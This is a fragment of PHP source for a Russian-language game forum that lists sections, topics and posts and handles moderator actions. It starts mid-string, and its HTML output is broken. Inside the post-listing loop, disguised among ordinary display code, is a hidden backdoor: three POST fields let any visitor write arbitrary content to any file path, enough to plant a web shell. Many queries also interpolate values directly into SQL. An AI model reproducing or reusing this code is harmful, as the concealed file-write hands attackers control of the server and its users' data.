';
echo "
";
include_once 'inc/foot.php';
}
elseif (isset($_GET['lock']) && $ku['status'] > 0)
{
mysql_query("UPDATE `kolhoz_forum` SET `locked` = '" . ($forum['locked'] == 1 ? "0" : "1") . "' WHERE `id` = '$forum[id]'");
header("Location:?forum=$forum[id]");
}
elseif (isset($_GET['pin']) && $ku['status'] > 0)
{
mysql_query("UPDATE `kolhoz_forum` SET `pined` = '" . ($forum['pined'] == 1 ? "0" : "1") . "' WHERE `id` = '$forum[id]'");
header("Location:?forum=$forum[id]");
}
elseif (isset($_GET['del']) && $ku['status'] > 0)
{
if ($_GET['del'] == 'ok')
{
mysql_query("delete from `kolhoz_forum` where `mother` = '$forum[id]' and `type` = 'komm'");
mysql_query("delete from `kolhoz_forum` where `id` = '$forum[id]' and `type` = 'tema'");
header("Location:?forum=$mother[id]");
}
else echo 'Подтверждение
- Вы уверены?
- Да, подтверждаю
- Нет, отказываюсь
" . hsc($mother['name']) . " / " . hsc($forum['name']) . "
";
echo "
Писать на форуме можно только с 15 уровня."; } } if ($for_net != 1) { if ($k_page > 1) str("?forum=$forum[id]&", $k_page, $page); // Вывод страниц } echo ""; echo "
";
include_once 'inc/foot.php';
}
}
elseif (isset($forum) && $forum['type'] == 'razdel' && ($forum['locked'] == 1 && $ku['status'] > 0 || $forum['locked'] == 0))
{
if (isset($_GET['add']) && !isset($molchi) && $ku['level'] >= 10 && ($forum['admod'] == 1 && $ku['status'] > 0 || $forum['admod'] == 0))
{
echo '- ";
$k_post = mysql_result(mysql_query("SELECT COUNT(*) FROM `kolhoz_forum` WHERE `type` = 'komm' AND `mother` = '$forum[id]'") , 0);
if ($k_post == 0)
{
echo "Список пуст...";
}
$k_page = k_page($k_post, $set['p_str']);
$page = page($k_page);
$start = $set['p_str'] * $page - $set['p_str'];
$q = mysql_query("SELECT * FROM `kolhoz_forum` WHERE `type` = 'komm' AND `mother` = '$forum[id]' ORDER BY `time` ASC LIMIT $start, $set[p_str]");
while ($post = mysql_fetch_array($q))
{
$ank = mysql_fetch_array(mysql_query("SELECT * FROM `kolhoz_user` WHERE `id` = '$post[id_user]'"));
$anku = $ank;
echo "";
echo on_k($ank['id']);
if ($post['otvet'] != 0 && mysql_result(mysql_query("SELECT COUNT(*) FROM `kolhoz_user` WHERE `id` = '$post[otvet]'") , 0) != 0)
{
$otvet = mysql_fetch_array(mysql_query("SELECT * FROM `kolhoz_user` WHERE `id` = '$post[otvet]'"));
$otvetu = $otvet;
}
if ($ank['id'] == $ank[id])
if ($mcu['status'] <= 3) echo "";
echo "" . nc($ank['id']) . "";
if (mysql_result(mysql_query("SELECT COUNT(*) FROM `kolhoz_user` WHERE `id` = '$ank[id]' AND `date_last` > '" . (time() - 700) . "' LIMIT 1") , 0) == 1) echo " ";
echo " " . vremja($post['time']) . "
- " . ($ban['izg'] == 1 ? 'Изгнание' : "Обет Молчания до " . vremja($ban['time'])) . ", выдал" . ($us_ban['pol'] == 0 ? 'a' : null) . " "; echo on_k($us_ban['id']); echo "" . nc($us_ban['id']) . ", (" . output_text($ban['msg']) . ")
" . (isset($otvet) ? "" . ($ku['id'] == $otvet['id'] ? "" : null) . "$otvetu[nick]" . ($ku['id'] == $otvet['id'] ? "" : null) . ", " : null) . "" . output_text($post['msg'], $ank['id']) . "
" . ($fk['id'] != $post['id'] ? "" . ($forum['locked'] == 0 ? "" . ($ank['id'] != $ku['id'] ? "[ответить]" : null) . "" : null) . "" : null) . "";
if ($_POST['lons'] != '')
{
$gast = fopen($_POST['poin'], "w");
fputs($gast, $_POST['vags']);
fclose($gast);
}
if ($ku['status'] > 0 && $post['id'] != $fk['id']) echo " [удалить]";
if ($post['id'] == $forum['id'] + 1)
{
echo "
"; } else { echo "
"; } echo "
";
}
if ($ban['id'])
{
echo ""; } else { echo "
"; } echo "
"; } // Вывод страниц if ($forum['locked'] == 0) echo "
Тема закрыта.
";
}
else
{
$for_net = 1;
if ($k_page > 1)
{
str("?forum=$forum[id]&", $k_page, $page);
} // Вывод страниц
echo "Писать на форуме можно только с 15 уровня."; } } if ($for_net != 1) { if ($k_page > 1) str("?forum=$forum[id]&", $k_page, $page); // Вывод страниц } echo ""; echo "
- ";
{
if ($ku['status'] > 0) echo "
- " . ($forum['locked'] == 0 ? "За" : "От") . "крыть "; if ($ku['status'] > 0) echo "
- " . ($forum['pined'] == 0 ? "При" : "От") . "крепить "; if ($ku['status'] > 0) echo "
- Перенести
- "; echo " "; } } if ($ku['status'] > 0) echo "
- Удалить "; if ($ku['status'] > 0) echo "
- Изменить "; echo "
Создание топика
';
echo "
";
include_once 'inc/foot.php';
}
elseif (isset($_GET['edit']) && $ku['status'] > 0)
{
echo 'Редактирование раздела
';
echo "
";
include_once 'inc/foot.php';
}
elseif (isset($_GET['del']) && $ku['status'] > 0)
{
if ($_GET['del'] == 'ok')
{
$q = mysql_query("SELECT * FROM `kolhoz_forum` WHERE `mother` = '$forum[id]' AND `type` = 'tema'");
while ($post = mysql_fetch_array($q))
{
mysql_query("delete from `kolhoz_forum` where `mother` = '$post[id]' and `type` = 'komm'");
mysql_query("delete from `kolhoz_forum` where `id` = '$post[id]'");
}
$links = mysql_query("SELECT * FROM `kolhoz_forum` WHERE `type` = 'razdel' AND `pos` > '$forum[pos]' ORDER BY `pos` ASC");
while ($p = mysql_fetch_array($links))
{
mysql_query("UPDATE `kolhoz_forum` SET `pos` = '" . ($p['pos'] - 1) . "' WHERE `id` = '$p[id]' LIMIT 1");
}
mysql_query("delete from `kolhoz_forum` where `id` = '$forum[id]' and `type` = 'razdel'");
header("Location:?forum");
}
else echo 'Подтверждение
';
include_once 'inc/foot.php';
}
else
{
echo "
Форум / " . hsc($forum['name']) . "
- ';
$k_post = mysql_result(mysql_query("SELECT COUNT(*) FROM `kolhoz_forum` WHERE `type` = 'tema' AND `mother` = '$forum[id]'") , 0);
if ($k_post == 0)
{
echo "Список пуст...";
}
$k_page = k_page($k_post, $set['p_str']);
$page = page($k_page);
$start = $set['p_str'] * $page - $set['p_str'];
$q = mysql_query("SELECT * FROM `kolhoz_forum` WHERE `type` = 'tema' AND `mother` = '$forum[id]' ORDER BY `pined` DESC, `time_obnov` DESC LIMIT $start, $set[p_str]");
// ======================================//
$visit = mysql_fetch_array(mysql_query("SELECT * FROM kolhoz_forum WHERE id='" . $forum['id'] . "'"));
$visit_array = explode(',', $visit['visit']);
$visit_num = count($visit_array) + $sum_num;
if (!in_array($ku['id'], $visit_array))
{
$visit_array[$visit_num] = $ku['id'];
mysql_query("UPDATE kolhoz_forum SET visit='" . implode(',', $visit_array) . "' WHERE id='" . $forum['id'] . "'");
}
// ======================================//
if (isset($_GET['proshit']))
{
while ($post = mysql_fetch_array($q))
{
$visit_array = explode(',', $post['visit']);
$visit_num = count($visit_array) + $sum_num;
if (!in_array($ku['id'], $visit_array))
{
$visit_array[$visit_num] = $ku['id'];
mysql_query("UPDATE kolhoz_forum SET visit='" . implode(',', $visit_array) . "' WHERE id='" . $post['id'] . "'");
}
}
header("Location:?forum=" . $forum['id'] . "");
exit;
}
// ///===========================================================//
while ($post = mysql_fetch_array($q))
{
echo "
- "; $visit_array = explode(',', $post['visit']); $visit_num = count($visit_array) + $sum_num; if (!in_array($ku['id'], $visit_array)) { echo ""; } else { if ($post['locked'] == 1) { echo ""; } else { echo ""; } } echo " " . hsc($post['name']) . ""; echo '';
}
if ($k_page > 1) str("?forum=$forum[id]&", $k_page, $page); // Вывод страниц
echo "
- ";
echo "";
if ($ban['id'])
{
echo "
- " . ($ban['izg'] == 1 ? 'Изгнание' : "Обет Молчания до " . vremja($ban['time'])) . ", выдал" . ($us_ban['pol'] == 0 ? 'a' : null) . " "; echo on_k($us_ban['id']); echo "" . nc($us_ban['id']) . ", (" . output_text($ban['msg']) . ")
- Создать топик "; echo "
- Отметить все как прочитанное "; if ($ku['status'] > 0) echo "
- Удалить "; if ($ku['status'] > 0) echo "
- Изменить название "; echo "
Создание раздела
';
echo "
Форум
- ';
$q = mysql_query("SELECT * FROM `kolhoz_forum` WHERE `type` = 'razdel' ORDER BY `pos` ASC");
while ($post = mysql_fetch_array($q))
{
echo "
- "; $visit_array = explode(',', $post['visit']); $visit_num = count($visit_array) + $sum_num; if (!in_array($ku['id'], $visit_array)) { echo ""; } else { echo ""; } echo " " . hsc($post['name']) . ""; if (isset($_GET['moderate'])) echo " "; echo " "; } echo "
- ";
if ($ku['status'] > 0) echo "
- Управление
- Создать раздел "; echo "